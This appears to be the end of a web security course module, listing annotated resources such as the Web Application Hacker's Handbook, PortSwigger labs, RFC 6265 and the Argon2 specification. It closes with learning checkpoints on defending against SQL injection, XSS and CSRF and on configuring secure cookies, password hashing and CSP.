Comprehensive testing methodology for each vulnerability class. Useful both for understanding attacks and for building verification checklists.

📕The Web Application Hacker's Handbook (2nd ed.)
bookpaidStuttard & Pinto — Wiley, 2011

The definitive practitioner reference. Exhaustive coverage of every web attack class with real exploitation techniques. Read alongside the mitigations.

⚡PortSwigger Web Security Academy
interactivefree

Free hands-on labs for every topic in this module: SQLi, XSS, CSRF, SOP, authentication, clickjacking. Built by the Burp Suite team. Arguably the best practical resource available.

📄MDN: HTTP Security Headers
docsfree

Authoritative reference for CSP, CORS, HSTS, and related security headers directly from the MDN Web Docs team.

📄RFC 6265: HTTP State Management Mechanism (Cookies)
docsfree

The canonical specification for cookie behavior. Essential for understanding why SameSite and Secure flags work the way they do.

📜Password Hashing Competition — Argon2 Specification
paperfree

The specification paper for Argon2id. Explains the memory-hardness construction and the rationale for its design over bcrypt and scrypt.

🎓Stanford CS 155: Computer and Network Security
coursefree

Stanford's security course covering web security in depth; slides and projects publicly available.

Checkpoints — you can now…

  • ✓You can explain why string interpolation into SQL queries enables injection attacks and demonstrate a working fix using parameterized queries in at least one language.
  • ✓You can distinguish stored, reflected, and DOM-based XSS by their injection vector and identify the correct encoding strategy for at least three distinct HTML contexts (body, attribute, script block).
  • ✓You can state the exact definition of a browser origin (scheme, host, port) and correctly classify any pair of URLs as same-origin or cross-origin, then explain what SOP permits and blocks in each case.
  • ✓You can explain why form submission to a foreign origin works and why that makes CSRF possible, then describe at least two correct defenses (CSRF tokens, SameSite cookies) and the threat model each one addresses.
  • ✓You can explain why SHA-256 is an inadequate password hashing function, state what properties (slow, memory-hard, salted) a correct password hashing function must have, and implement Argon2id-based registration and login in code.
  • ✓You can write a secure session cookie configuration (HttpOnly, Secure, SameSite) and explain what attack each attribute mitigates.
  • ✓You can write a minimal valid Content Security Policy that prevents XSS from an injected script tag while allowing legitimate inline scripts via nonces.
  • ✓You can read an OWASP Top Ten entry or a CVE advisory for a web vulnerability, identify the vulnerability class, explain where the defense failed, and describe the correct fix.